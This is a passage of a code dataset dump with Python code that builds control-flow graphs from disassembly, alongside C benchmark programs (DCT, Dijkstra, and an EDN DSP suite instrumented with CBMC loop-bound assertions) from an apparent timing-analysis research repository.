instruction\n self.jump_table_to_directives[instruction] = []\n else:\n self.function_to_directives[current_function].append(line)\n if last_jump_table_instruction:\n self.jump_table_to_directives[last_jump_table_instruction].append(line) \n elif line.startswith('Disassembly of section'):\n parse = '.text' in line\n \n def identify_call_graph(self, root_function):\n assert root_function in self.function_to_instructions, \"Unable to locate root function '%s' in disassembly\" % root_function\n self.functions = set()\n stack = [root_function]\n while stack:\n function_name = stack.pop()\n self.functions.add(function_name)\n debug.debug_message(\"Analysing function '%s'\" % function_name, __name__, 10)\n assert function_name in self.function_to_instructions, \"No instructions for '%s' discovered\" % function_name\n for instruction in self.function_to_instructions[function_name]:\n if InstructionSet.Call in instruction.the_instruction:\n assert len(instruction.the_instruction) == 4, \"Unable to handle call instruction '%s' since it does not have 3 fields exactly\" % instruction.the_instruction\n startAddress = int(instruction.the_instruction[2], 16)\n assert startAddress in self.start_address_to_function, \"Unable to find function with start address %s (it should be %s)\" % (hex(startAddress), instruction.the_instruction[3])\n callee_name = self.start_address_to_function[startAddress]\n if callee_name not in self.functions:\n stack.append(callee_name)\n elif instruction.the_instruction[1] in InstructionSet.Branches:\n assert len(instruction.the_instruction) == 4, \"Unable to handle branch instruction '%s' since it does not have 3 fields exactly\" % instruction.the_instruction\n startAddress = int(instruction.the_instruction[2], 16)\n if startAddress < self.function_to_start_address[function_name] or startAddress > self.function_to_last_address[function_name]:\n callee_name = self.get_callee_name(instruction.the_instruction)\n if callee_name not in self.functions:\n stack.append(callee_name)\n \n def get_callee_name(self, an_instruction):\n # The callee name should be delimited by '<' and '>'\n assert an_instruction[3].startswith('<') and an_instruction[3].endswith('>'), \"Unable to parse callee name %s\" % an_instruction[3]\n callee_name = an_instruction[3][1:-1]\n # Some of the target addresses are NOT the callee start address. In those cases it is an offset from the base address indicated by '+'\n index = callee_name.find('+')\n if index != -1:\n callee_name = callee_name[:index]\n startAddress = int(an_instruction[2], 16) \n assert startAddress >= self.function_to_start_address[callee_name] and startAddress <= self.function_to_last_address[callee_name], \\\n \"The address %s is outside the legal range of addresses for %s\" % (hex(startAddress), callee_name)\n return callee_name\n \n def is_jump_table_branch(self, instruction):\n op = instruction.the_instruction[1]\n if op in InstructionSet.LoadInstructions: \n destination = instruction.the_instruction[2] \n if re.match(r'.*%s.*' % InstructionSet.PCRegister, destination):\n return True\n return False\n \n def identify_leaders(self):\n functionToBranchTargets = {}\n for function_name in self.functions:\n debug.debug_message(\"Identifying leaders in '%s'\" % function_name, __name__, 10)\n self.function_to_leaders[function_name] = set()\n functionToBranchTargets[function_name] = set()\n newLeader = True\n noopAfterJumpTableBranch = False\n index = 0\n for instruction, nextInstruction in utils.peekahead_iterator(self.function_to_instructions[function_name]):\n if newLeader:\n self.function_to_leaders[function_name].add(instruction)\n newLeader = False\n elif noopAfterJumpTableBranch:\n assert instruction.the_instruction[1] in InstructionSet.Nops, \"Did not find an no-op after jump table branch. Instead found %s\" % instruction\n noopAfterJumpTableBranch = False\n newLeader = True\n \n op = instruction.the_instruction[1]\n if op in InstructionSet.Branches:\n newLeader = True\n addressTarget = int(instruction.the_instruction[2], 16) \n functionToBranchTargets[function_name].add(addressTarget)\n elif self.is_jump_table_branch(instruction):\n # Look for instructions with an explicit load into the PC\n debug.debug_message(\"Instruction '%s' is loading a value into the PC\" % instruction, __name__, 10)\n if nextInstruction and nextInstruction.the_instruction[0] in InstructionSet.Nops:\n noopAfterJumpTableBranch = True\n else:\n newLeader = True\n index += 1\n for instruction in self.function_to_instructions[function_name]:\n if instruction.address in functionToBranchTargets[function_name]:\n self.function_to_leaders[function_name].add(instruction)\n \n def create_basic_blocks(self):\n for function_name in self.functions:\n debug.debug_message(\"Identifying basic blocks in '%s'\" % function_name, __name__, 10)\n cfg = directed_graphs.CFG()\n cfg.name = function_name\n self.program.addCFG(cfg)\n bb = None\n for instruction in self.function_to_instructions[function_name]:\n if instruction in self.function_to_leaders[function_name]:\n debug.debug_message(\"Instruction @ %s is a leader\" % hex(instruction.address), __name__, 10)\n bb = vertices.BasicBlock(self.next_vertexID, function_name)\n cfg.addVertex(bb)\n self.next_vertexID += 1\n assert bb, \"Basic block is currently null\"\n bb.instructions.append(instruction)\n self.instruction_to_basic_block[instruction] = bb\n if self.is_jump_table_branch(instruction):\n self.function_to_jump_table_basic_blocks[function_name].append(bb)\n \n def add_edges(self):\n for function_name in self.functions:\n debug.debug_message(\"Adding edges in '%s'\" % function_name, __name__, 10)\n cfg = self.program.cfgs[function_name]\n predID = vertices.dummyID\n for instruction in self.function_to_instructions[function_name]:\n v = self.instruction_to_basic_block[instruction]\n if predID != vertices.dummyID:\n cfg.addEdge(predID, v.vertexID)\n predID = vertices.dummyID\n if v.instructions[-1] == instruction:\n if instruction.the_instruction[1] == InstructionSet.Call:\n callee_name = self.get_callee_name(instruction.the_instruction)\n cfg.add_call_site(v.vertexID, callee_name)\n self.program.callg.addEdge(function_name, callee_name, v.vertexID)\n predID = v.vertexID\n elif instruction.the_instruction[1] in InstructionSet.UnconditionalJumps:\n jump_address = int(instruction.the_instruction[2], 16)\n if jump_address >= self.function_to_start_address[function_name] and jump_address <= self.function_to_last_address[function_name]:\n succv = cfg.get_basic_block_with_address(jump_address)\n cfg.addEdge(v.vertexID, succv.vertexID)\n else:\n callee_name = self.start_address_to_function[jump_address]\n cfg.add_call_site(v.vertexID, callee_name)\n self.program.callg.addEdge(function_name, callee_name, v.vertexID)\n predID = v.vertexID\n elif instruction.the_instruction[1] in InstructionSet.Branches:\n branch_address = int(instruction.the_instruction[2], 16)\n if branch_address >= self.function_to_start_address[function_name] and branch_address <= self.function_to_last_address[function_name]:\n succv = cfg.get_basic_block_with_address(branch_address)\n cfg.addEdge(v.vertexID, succv.vertexID)\n else:\n callee_name = self.get_callee_name(instruction.the_instruction)\n cfg.add_call_site(v.vertexID, callee_name)\n self.program.callg.addEdge(function_name, callee_name, v.vertexID)\n predID = v.vertexID\n elif v in self.function_to_jump_table_basic_blocks[function_name]:\n pass\n else:\n predID = v.vertexID\n \n def add_jump_table_edges(self):\n for function_name in self.functions:\n debug.debug_message(\"Adding jump table edges in '%s'\" % function_name, __name__, 10)\n cfg = self.program.cfgs[function_name]\n i = 0\n hasJumpTablePredecessor = set()\n for instr in self.function_to_instructions[function_name]:\n # If the instruction loads into the PC...\n if self.is_jump_table_branch(instr):\n # Get the number of directives associated with this instruction to work out\n # how many arms it has\n assert instr in self.jump_table_to_directives\n numberOfBranchArms = len(self.jump_table_to_directives[instr])\n if instr.the_instruction[0] == InstructionSet.LoadInstructions[3] \\\n or instr.the_instruction[0] == InstructionSet.LoadInstructions[4]:\n numberOfBranchArms = 3\n predv = cfg.get_basic_block_with_address(instr.address)\n # Now go through each successive address, get the vertex associated with\n # that address, and add an edge if the address belongs to a newly discovered\n # basic block\n for j in range(i, len(self.function_to_instructions[function_name])):\n nextInstr = self.function_to_instructions[function_name][j]\n address = nextInstr.address\n if not predv.hasAddress(address):\n succv = cfg.get_basic_block_with_address(address)\n if not predv.hasSuccessor(succv.vertexID) and succv not in hasJumpTablePredecessor:\n cfg.addEdge(predv.vertexID, succv.vertexID)\n hasJumpTablePredecessor.add(succv)\n numberOfBranchArms -= 1\n # We know how many arms to expect. As soon as the supply has been\n # exhausted, stop adding edges\n if not numberOfBranchArms or self.is_jump_table_branch(nextInstr):\n break\n i += 1 \n" }, { "alpha_fraction": 0.418154776096344, "alphanum_fraction": 0.5985119342803955, "avg_line_length": 31.780487060546875, "blob_id": "13a268bc29bbfb99975231e0dd32e97f9d5461ba", "content_id": "962fbb6d29b5010bd51ee0d23c30150512bbabb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 6720, "license_type": "no_license", "max_line_length": 74, "num_lines": 205, "path": "/benchmarks/dct/dct.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Discrete Cosine Transform (DCT) taken from MDH suite and modified by\n * Adam Betts to consume a test vector supplied on the command line.\n *\n * For this program, the test vector is a list of 64 integers.\n */\n\n#define DCTSIZE 8\n#define BITS_IN_JSAMPLE 8\n#define MULTIPLY16C16(var,const) ((var) * (const))\n#define INT32 int\n#define RIGHT_SHIFT(x,shft)\t((x) >> (shft))\n#define ONE\t((INT32) 1)\n#define DESCALE(x,n) RIGHT_SHIFT((x) + (ONE << ((n)-1)), n)\n#define SHIFT_TEMPS\n\n#define JPEG_INTERNALS\n\n#if BITS_IN_JSAMPLE == 8\n#define CONST_BITS 13\n#define PASS1_BITS 2\n#else\n#define CONST_BITS 13\n#define PASS1_BITS 1\t\t/* lose a little precision to avoid overflow */\n#endif\n\n#if CONST_BITS == 13\n#define FIX_0_298631336 ((INT32) 2446)\t/* FIX(0.298631336) */\n#define FIX_0_390180644 ((INT32) 3196)\t/* FIX(0.390180644) */\n#define FIX_0_541196100 ((INT32) 4433)\t/* FIX(0.541196100) */\n#define FIX_0_765366865 ((INT32) 6270)\t/* FIX(0.765366865) */\n#define FIX_0_899976223 ((INT32) 7373)\t/* FIX(0.899976223) */\n#define FIX_1_175875602 ((INT32) 9633)\t/* FIX(1.175875602) */\n#define FIX_1_501321110 ((INT32) 12299)\t/* FIX(1.501321110) */\n#define FIX_1_847759065 ((INT32) 15137)\t/* FIX(1.847759065) */\n#define FIX_1_961570560 ((INT32) 16069)\t/* FIX(1.961570560) */\n#define FIX_2_053119869 ((INT32) 16819)\t/* FIX(2.053119869) */\n#define FIX_2_562915447 ((INT32) 20995)\t/* FIX(2.562915447) */\n#define FIX_3_072711026 ((INT32) 25172)\t/* FIX(3.072711026) */\n#else\n#define FIX_0_298631336 FIX(0.298631336)\n#define FIX_0_390180644 FIX(0.390180644)\n#define FIX_0_541196100 FIX(0.541196100)\n#define FIX_0_765366865 FIX(0.765366865)\n#define FIX_0_899976223 FIX(0.899976223)\n#define FIX_1_175875602 FIX(1.175875602)\n#define FIX_1_501321110 FIX(1.501321110)\n#define FIX_1_847759065 FIX(1.847759065)\n#define FIX_1_961570560 FIX(1.961570560)\n#define FIX_2_053119869 FIX(2.053119869)\n#define FIX_2_562915447 FIX(2.562915447)\n#define FIX_3_072711026 FIX(3.072711026)\n#endif\n\n#if BITS_IN_JSAMPLE == 8\n#define MULTIPLY(var,const) MULTIPLY16C16(var,const)\n#else\n#define MULTIPLY(var,const) ((var) * (const))\n#endif\n\nvoid\ndct (int *data)\n{\n INT32 tmp0, tmp1, tmp2, tmp3, tmp4, tmp5, tmp6, tmp7;\n INT32 tmp10, tmp11, tmp12, tmp13;\n INT32 z1, z2, z3, z4, z5;\n int *dataptr;\n int ctr;\n SHIFT_TEMPS\n\n dataptr = data;\n for (ctr = DCTSIZE - 1; ctr >= 0; ctr--)\n {\n tmp0 = dataptr[0] + dataptr[7];\n tmp7 = dataptr[0] - dataptr[7];\n tmp1 = dataptr[1] + dataptr[6];\n tmp6 = dataptr[1] - dataptr[6];\n tmp2 = dataptr[2] + dataptr[5];\n tmp5 = dataptr[2] - dataptr[5];\n tmp3 = dataptr[3] + dataptr[4];\n tmp4 = dataptr[3] - dataptr[4];\n\n tmp10 = tmp0 + tmp3;\n tmp13 = tmp0 - tmp3;\n tmp11 = tmp1 + tmp2;\n tmp12 = tmp1 - tmp2;\n\n dataptr[0] = (INT32) ((tmp10 + tmp11) << PASS1_BITS);\n dataptr[4] = (INT32) ((tmp10 - tmp11) << PASS1_BITS);\n\n z1 = MULTIPLY(tmp12 + tmp13, FIX_0_541196100);\n dataptr[2] = (INT32) DESCALE(z1 + MULTIPLY(tmp13, FIX_0_765366865),\n CONST_BITS-PASS1_BITS);\n dataptr[6] = (INT32) DESCALE(z1 + MULTIPLY(tmp12, - FIX_1_847759065),\n CONST_BITS-PASS1_BITS);\n\n z1 = tmp4 + tmp7;\n z2 = tmp5 + tmp6;\n z3 = tmp4 + tmp6;\n z4 = tmp5 + tmp7;\n z5 = MULTIPLY(z3 + z4, FIX_1_175875602); /* sqrt(2) * c3 */\n\n tmp4 = MULTIPLY(tmp4, FIX_0_298631336); /* sqrt(2) * (-c1+c3+c5-c7) */\n tmp5 = MULTIPLY(tmp5, FIX_2_053119869); /* sqrt(2) * ( c1+c3-c5+c7) */\n tmp6 = MULTIPLY(tmp6, FIX_3_072711026); /* sqrt(2) * ( c1+c3+c5-c7) */\n tmp7 = MULTIPLY(tmp7, FIX_1_501321110); /* sqrt(2) * ( c1+c3-c5-c7) */\n z1 = MULTIPLY(z1, - FIX_0_899976223); /* sqrt(2) * (c7-c3) */\n z2 = MULTIPLY(z2, - FIX_2_562915447); /* sqrt(2) * (-c1-c3) */\n z3 = MULTIPLY(z3, - FIX_1_961570560); /* sqrt(2) * (-c3-c5) */\n z4 = MULTIPLY(z4, - FIX_0_390180644); /* sqrt(2) * (c5-c3) */\n\n z3 += z5;\n z4 += z5;\n\n dataptr[7] = (INT32) DESCALE(tmp4 + z1 + z3, CONST_BITS-PASS1_BITS);\n dataptr[5] = (INT32) DESCALE(tmp5 + z2 + z4, CONST_BITS-PASS1_BITS);\n dataptr[3] = (INT32) DESCALE(tmp6 + z2 + z3, CONST_BITS-PASS1_BITS);\n dataptr[1] = (INT32) DESCALE(tmp7 + z1 + z4, CONST_BITS-PASS1_BITS);\n\n dataptr += DCTSIZE;\n }\n\n dataptr = data;\n for (ctr = DCTSIZE - 1; ctr >= 0; ctr--)\n {\n tmp0 = dataptr[DCTSIZE * 0] + dataptr[DCTSIZE * 7];\n tmp7 = dataptr[DCTSIZE * 0] - dataptr[DCTSIZE * 7];\n tmp1 = dataptr[DCTSIZE * 1] + dataptr[DCTSIZE * 6];\n tmp6 = dataptr[DCTSIZE * 1] - dataptr[DCTSIZE * 6];\n tmp2 = dataptr[DCTSIZE * 2] + dataptr[DCTSIZE * 5];\n tmp5 = dataptr[DCTSIZE * 2] - dataptr[DCTSIZE * 5];\n tmp3 = dataptr[DCTSIZE * 3] + dataptr[DCTSIZE * 4];\n tmp4 = dataptr[DCTSIZE * 3] - dataptr[DCTSIZE * 4];\n\n tmp10 = tmp0 + tmp3;\n tmp13 = tmp0 - tmp3;\n tmp11 = tmp1 + tmp2;\n tmp12 = tmp1 - tmp2;\n\n dataptr[DCTSIZE * 0] = (INT32) DESCALE(tmp10 + tmp11, PASS1_BITS);\n dataptr[DCTSIZE * 4] = (INT32) DESCALE(tmp10 - tmp11, PASS1_BITS);\n\n z1 = MULTIPLY(tmp12 + tmp13, FIX_0_541196100);\n dataptr[DCTSIZE * 2]\n = (INT32) DESCALE(z1 + MULTIPLY(tmp13, FIX_0_765366865),\n CONST_BITS+PASS1_BITS);\n dataptr[DCTSIZE * 6]\n = (INT32) DESCALE(z1 + MULTIPLY(tmp12, - FIX_1_847759065),\n CONST_BITS+PASS1_BITS);\n\n z1 = tmp4 + tmp7;\n z2 = tmp5 + tmp6;\n z3 = tmp4 + tmp6;\n z4 = tmp5 + tmp7;\n z5 = MULTIPLY(z3 + z4, FIX_1_175875602); /* sqrt(2) * c3 */\n\n tmp4 = MULTIPLY(tmp4, FIX_0_298631336); /* sqrt(2) * (-c1+c3+c5-c7) */\n tmp5 = MULTIPLY(tmp5, FIX_2_053119869); /* sqrt(2) * ( c1+c3-c5+c7) */\n tmp6 = MULTIPLY(tmp6, FIX_3_072711026); /* sqrt(2) * ( c1+c3+c5-c7) */\n tmp7 = MULTIPLY(tmp7, FIX_1_501321110); /* sqrt(2) * ( c1+c3-c5-c7) */\n z1 = MULTIPLY(z1, - FIX_0_899976223); /* sqrt(2) * (c7-c3) */\n z2 = MULTIPLY(z2, - FIX_2_562915447); /* sqrt(2) * (-c1-c3) */\n z3 = MULTIPLY(z3, - FIX_1_961570560); /* sqrt(2) * (-c3-c5) */\n z4 = MULTIPLY(z4, - FIX_0_390180644); /* sqrt(2) * (c5-c3) */\n\n z3 += z5;\n z4 += z5;\n\n dataptr[DCTSIZE * 7] = (INT32) DESCALE(tmp4 + z1 + z3,\n CONST_BITS+PASS1_BITS);\n dataptr[DCTSIZE * 5] = (INT32) DESCALE(tmp5 + z2 + z4,\n CONST_BITS+PASS1_BITS);\n dataptr[DCTSIZE * 3] = (INT32) DESCALE(tmp6 + z2 + z3,\n CONST_BITS+PASS1_BITS);\n dataptr[DCTSIZE * 1] = (INT32) DESCALE(tmp7 + z1 + z4,\n CONST_BITS+PASS1_BITS);\n\n dataptr++;\n }\n}\n\nint\nmain (int argc, char *argv[])\n{\n const int ARRAY_SIZE = 64;\n int TV[ARRAY_SIZE];\n int i;\n\n /*\n * 64 integers must be supplied\n */\n if (argc != ARRAY_SIZE + 1)\n {\n return 1;\n }\n\n for (i = 0; i < ARRAY_SIZE; ++i)\n {\n TV[i] = atoi (argv[i + 1]);\n }\n\n dct (TV);\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5838466882705688, "alphanum_fraction": 0.6252566576004028, "avg_line_length": 17.851612091064453, "blob_id": "18c32bf67e5d0826b8b6b5f9a916773d53834442", "content_id": "d71fb49cb8edf2f41686aa028136d1a3d9ba48d7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 2922, "license_type": "no_license", "max_line_length": 87, "num_lines": 155, "path": "/benchmarks/dijkstra/dijkstra.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "/*\n * Takes a vector of 36 positive integers as arguments and uses them as edge weights to\n * calculate the longest shortest path from the root node\n * in a predefined graph using dijkstra's shortest path algorithm\n */\n\n#define numverts 15\nconst unsigned int neighbours[numverts][4] =\n{\n\t{1, 4, 5, 10},\n\t{0, 2, 6, 11},\n\t{1, 3, 7, 12},\n\t{2, 4, 8, 13},\n\t{0, 3, 9, 14},\n\t{0, 6, 9, 10},\n\t{1, 5, 7, 11},\n\t{2, 6, 8, 12},\n\t{3, 7, 9, 13},\n\t{4, 5, 8, 14},\n\t{0, 5, 11, 14},\n\t{1, 6, 10, 12},\n\t{2, 7, 11, 13},\n\t{3, 8, 12, 14},\n\t{4, 9, 10, 13},\n};\n\nint removeFromUnvisited(unsigned int node, int numUnvisited, unsigned int unvisited[])\n{\n\tint i, removed;\n\n\tremoved = 0;\n\tfor (i = 0; i < numUnvisited; i++)\n\t{\n\t\tif (removed)\n\t\t{\n\t\t\tunvisited[i - 1] = unvisited[i];\n\t\t}\n\t\telse if (unvisited[i] == node)\n\t\t{\n\t\t\tremoved = 1;\n\t\t}\n\t}\n\n\treturn numUnvisited - removed;\n}\n\nint isUnvisited(int node, unsigned int unvisited[], int numUnvisited)\n{\n\tint i;\n\tfor (i = 0; i < numUnvisited; i++)\n\t{\n\t\tif (unvisited[i] == node)\n\t\t{\n\t\t\treturn 1;\n\t\t}\n\t}\n\treturn 0;\n}\n\nint smallestUnvisited(int distance[], unsigned int unvisited[], int numUnvisited)\n{\n\tint smallestDistance = -1;\n\tint smallestIndex = -1;\n\tint i;\n\tfor (i = 0; i < numverts; i++)\n\t{\n\t\tif ( ((distance[i] < smallestDistance && distance[i] >= 0) || smallestDistance < 0)\n\t\t\t\t&& (isUnvisited(i, unvisited, numUnvisited) == 1))\n\t\t{\n\t\t\tsmallestDistance = distance[i];\n\t\t\tsmallestIndex = i;\n\t\t}\n\t}\n\n\treturn smallestIndex;\n}\n\nint dijkstra(int edgeWeights[])\n{\n\tint distance[numverts];\n\tunsigned int unvisited[numverts];\n\tunsigned int currentNode;\n\tint numUnvisited;\n\tint newDistance, maxSmallestPath;\n\tint i, edgeIndex, neighbourIndex;\n\n\tfor (i = 0; i < numverts; i++)\n\t{\n\t\tdistance[i] = -1;\n\t\tunvisited[i] = i;\n\t}\n\tnumUnvisited = numverts;\n\n\tcurrentNode = 0;\n\tdistance[currentNode] = 0;\n\n\tmaxSmallestPath = 0;\t\n\tedgeIndex = 0;\n\n\twhile (numUnvisited > 0)\n\t{\n\t\tcurrentNode = smallestUnvisited(distance, unvisited, numUnvisited);\n\t\t\n\t\tfor (i = 0; i < 4; i++)\n\t\t{\n\t\t\tneighbourIndex = neighbours[currentNode][i];\n\t\t\tif (isUnvisited(neighbourIndex, unvisited, numUnvisited) == 1)\n\t\t\t{\n\t\t\t\tnewDistance = distance[currentNode] + edgeWeights[edgeIndex];\n\t\t\t\tedgeIndex++;\n\n\t\t\t\tif (newDistance < distance[neighbourIndex]\n\t\t\t\t\t|| distance[neighbourIndex] == -1)\n\t\t\t\t{\n\t\t\t\t\tdistance[neighbourIndex] = newDistance;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tnumUnvisited = removeFromUnvisited(currentNode, numUnvisited, unvisited);\n\t\tif (maxSmallestPath < distance[currentNode])\n\t\t{\n\t\t\tmaxSmallestPath = distance[currentNode];\n\t\t}\n\t}\n\n\treturn maxSmallestPath;\n}\n\nint main(int argc, char *argv[])\n{\n\tint edgeWeights[numverts * 2];\n\tint i, result;\n\n\t/*\n\t * 60 positive integer values must be supplied\n\t */\n\tif (argc != ((numverts * 2) + 1))\n\t{\n\t\treturn 1;\n\t}\n\n\tfor (i = 0; i < numverts * 2; i++)\n\t{\n\t\tedgeWeights[i] = atoi(argv[i + 1]);\n\t\tif (edgeWeights[i] < 0)\n\t\t{\n\t\t\treturn 1;\n\t\t}\n\t}\n\n\tresult = dijkstra (edgeWeights);\n\n\treturn 0;\n}\n" }, { "alpha_fraction": 0.44462844729423523, "alphanum_fraction": 0.5153522491455078, "avg_line_length": 23.4797306060791, "blob_id": "dac02dc270f99aa96295b6373cad944613e61d50", "content_id": "4d00ae04a40f1ff9db2bc4194faf68226eccbca9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 14493, "license_type": "no_license", "max_line_length": 136, "num_lines": 592, "path": "/DaikonPathInformation/benchmarks/edn.c", "repo_name": "jiankangren/Projects", "src_encoding": "UTF-8", "text": "\n#define ARRAY_SIZE 200\n#define N 100\n#define ORDER 50\n\nvoid\nvec_mpy1 (short y[], const short x[], short scaler)\n{\n#ifdef CBMC\n//==========> vec_mpy1 : header 10\nint __count_10_9 = 0;\nint __count_10_9_L = 0; //Loop counter\n//==========> vec_mpy1 : header 8\nint __count_11 = 0;\nint __count_10_11 = 0;\n#endif\n\n long int i;\n\n #ifdef CBMC\n __count_10_9_L = 0;\n #endif\n for (i = 0; i < 150; i++) // 10\n {\n #ifdef CBMC\n __count_10_9_L++;\n __count_10_9++;\n #endif\n y[i] += ((scaler * x[i]) >> 15);\n }\n #ifdef CBMC\n assert(__count_10_9_L <= 151); // Loop counter property\n __count_10_11++;\n __count_11++;\n #endif\n\n#ifdef CBMC\nassert(__count_10_9 >= 150); // Lower capacity constraint\nassert(__count_10_9 <= 150); // Upper capacity constraint\nassert(__count_11 >= 1); // Lower capacity constraint\nassert(__count_11 <= 1); // Upper capacity constraint\nassert(__count_10_11 >= 1); // Lower capacity constraint\nassert(__count_10_11 <= 1); // Upper capacity constraint\n#endif\n\n}\n\n/*****************************************************\n*\t\t\tDot Product\t *\n*****************************************************/\nlong int\nmac (const short *a, const short *b, long int sqr, long int *sum)\n{\n#ifdef CBMC\n//==========> mac : header 31\nint __count_31_30 = 0;\nint __count_31_30_L = 0; //Loop counter\n//==========> mac : header 29\nint __count_32 = 0;\nint __count_31_32 = 0;\n#endif\n\n long int i;\n long int dotp = *sum;\n\n #ifdef CBMC\n __count_31_30_L = 0;\n #endif\n for (i = 0; i < 150; i++) // 31\n {\n #ifdef CBMC\n __count_31_30_L++;\n __count_31_30++;\n #endif\n dotp += b[i] * a[i];\n sqr += b[i] * b[i];\n }\n #ifdef CBMC\n assert(__count_31_30_L <= 151); // Loop counter property\n #endif\n\n *sum = dotp;\n #ifdef CBMC\n __count_31_32++;\n __count_32++;\n #endif\n\n#ifdef CBMC\nassert(__count_32 >= 1); // Lower capacity constraint\nassert(__count_32 <= 1); // Upper capacity constraint\nassert(__count_31_32 >= 1); // Lower capacity constraint\nassert(__count_31_32 <= 1); // Upper capacity constraint\nassert(__count_31_30 >= 150); // Lower capacity constraint\nassert(__count_31_30 <= 150); // Upper capacity constraint\n#endif\n\n return sqr;\n}\n\n\n/*****************************************************\n*\t\tFIR Filter\t\t *\n*****************************************************/\nvoid\nfir (const short array1[], const short coeff[], long int output[])\n{\n #ifdef CBMC\n//==========> fir : header 4\nint __count_4_3 = 0;\nint __count_4_3_L = 0; //Loop counter\n//==========> fir : header 6\nint __count_4_5 = 0;\nint __count_6_2 = 0; //Loop counter\n//==========> fir : header 1\nint __count_7 = 0;\nint __count_6_7 = 0;\n #endif\n long int i, j, sum;\n\n #ifdef CBMC\n __count_6_2 = 0;\n #endif\n for (i = 0; i < N - ORDER; i++) // 6\n {\n #ifdef CBMC\n __count_6_2++;\n #endif\n sum = 0;\n #ifdef CBMC\n __count_4_3_L = 0;\n #endif\n for (j = 0; j < ORDER; j++) // 4\n {\n #ifdef CBMC\n __count_4_3_L++;\n __count_4_3++;\n #endif\n sum += array1[i + j] * coeff[j];\n }\n #ifdef CBMC\n assert(__count_4_3_L <= 51); // Loop counter property\n __count_4_5++;\n #endif\n output[i] = sum >> 15;\n }\n #ifdef CBMC\n assert(__count_6_2 <= 51); // Loop counter property\n __count_6_7++;\n __count_7++;\n #endif\n\n#ifdef CBMC\nassert(__count_4_3 >= 2500); // Lower capacity constraint\nassert(__count_4_3 <= 2500); // Upper capacity constraint\nassert(__count_7 >= 1); // Lower capacity constraint\nassert(__count_7 <= 1); // Upper capacity constraint\nassert(__count_4_5 >= 50); // Lower capacity constraint\nassert(__count_4_5 <= 50); // Upper capacity constraint\nassert(__count_6_7 >= 1); // Lower capacity constraint\nassert(__count_6_7 <= 1); // Upper capacity constraint\n#endif\n\n}\n\n/****************************************************\n*\tFIR Filter with Redundant Load Elimination\n\t\t\t\t\t\t\nBy doing two outer loops simultaneously, you can potentially reuse data (depending on the DSP architecture).\nx and h only need to be loaded once, therefore reducing redundant loads.\nThis reduces memory bandwidth and power.\n*****************************************************/\nvoid\nfir_no_red_ld (const short x[], const short h[], long int y[])\n{\n#ifdef CBMC\n//==========> fir_no_red_ld : header 36\nint __count_36_35 = 0;\nint __count_36_35_L = 0; //Loop counter\n//==========> fir_no_red_ld : header 38\nint __count_36_37 = 0;\nint __count_38_34 = 0; //Loop counter\n//==========> fir_no_red_ld : header 33\nint __count_39 = 0;\nint __count_38_39 = 0;\n#endif\n\n long int i, j;\n long int sum0, sum1;\n short x0, x1, h0, h1;\n\n #ifdef CBMC\n __count_38_34 = 0;\n #endif\n for (j = 0; j < 100; j += 2) // 38\n {\n #ifdef CBMC\n __count_38_34++;\n #endif\n sum0 = 0;\n sum1 = 0;\n x0 = x[j];\n #ifdef CBMC\n __count_36_35_L = 0;\n #endif\n for (i = 0; i < 32; i += 2) // 36\n {\n #ifdef CBMC\n __count_36_35_L++;\n __count_36_35++;\n #endif\n x1 = x[j + i + 1];\n h0 = h[i];\n sum0 += x0 * h0;\n sum1 += x1 * h0;\n x0 = x[j + i + 2];\n h1 = h[i + 1];\n sum0 += x1 * h1;\n sum1 += x0 * h1;\n }\n #ifdef CBMC\n assert(__count_36_35_L <= 17); // Loop counter property\n __count_36_37++;\n #endif\n y[j] = sum0 >> 15;\n y[j + 1] = sum1 >> 15;\n }\n #ifdef CBMC\n assert(__count_38_34 <= 51); // Loop counter property\n __count_38_39++;\n __count_39++;\n #endif\n\n#ifdef CBMC\nassert(__count_38_39 >= 1); // Lower capacity constraint\nassert(__count_38_39 <= 1); // Upper capacity constraint\nassert(__count_36_35 >= 800); // Lower capacity constraint\nassert(__count_36_35 <= 800); // Upper capacity constraint\nassert(__count_36_37 >= 50); // Lower capacity constraint\nassert(__count_36_37 <= 50); // Upper capacity constraint\nassert(__count_39 >= 1); // Lower capacity constraint\nassert(__count_39 <= 1); // Upper capacity constraint\n#endif\n\n}\n\n/*******************************************************\n* Lattice Synthesis\t \n* This function doesn't follow the typical DSP multiply two vector operation, \n* but it will point out the compiler's flexibility \n********************************************************/\nlong int\nlatsynth (short b[], const short k[], long int n, long int f)\n{\n#ifdef CBMC\n//==========> latsynth : header 14\nint __count_14_13 = 0;\nint __count_14_13_L = 0; //Loop counter\n//==========> latsynth : header 12\nint __count_15 = 0;\nint __count_14_15 = 0;\n#endif\n\n long int i;\n\n f -= b[n - 1] * k[n - 1];\n #ifdef CBMC\n __count_14_13_L = 0;\n #endif\n for (i = n - 2; i >= 0; i--) // 14\n {\n #ifdef CBMC\n __count_14_13_L++;\n __count_14_13++;\n #endif\n f -= b[i] * k[i];\n b[i + 1] = b[i] + ((k[i] * (f >> 16)) >> 16);\n }\n #ifdef CBMC\n assert(__count_14_13_L <= 100); // Loop counter property\n #endif\n \n b[0] = f >> 16;\n #ifdef CBMC\n __count_14_15++;\n __count_15++;\n #endif\n\n#ifdef CBMC\nassert(__count_14_13 >= 99); // Lower capacity constraint\nassert(__count_14_13 <= 99); // Upper capacity constraint\nassert(__count_14_15 >= 1); // Lower capacity constraint\nassert(__count_14_15 <= 1); // Upper capacity constraint\nassert(__count_15 >= 1); // Lower capacity constraint\nassert(__count_15 <= 1); // Upper capacity constraint\n#endif\n\n return f;\n}\n\n/*****************************************************\n*\t\t\tIIR Filter\t\t *\n*****************************************************/\nvoid\niir1 (const short *coefs, const short *input, long int *optr, long int *state)\n{\n#ifdef CBMC\n//==========> iir1 : header 52\nint __count_52_51 = 0;\nint __count_52_51_L = 0; //Loop counter\n//==========> iir1 : header 50\nint __count_53 = 0;\nint __count_52_53 = 0;\n#endif\n long int x;\n long int t;\n long int n;\n\n x = input[0];\n #ifdef CBMC\n __count_52_51_L = 0;\n #endif\n for (n = 0; n < 50; n++) // 52\n {\n #ifdef CBMC\n __count_52_51_L++;\n __count_52_51++;\n #endif\n t = x + ((coefs[2] * state[0] + coefs[3] * state[1]) >> 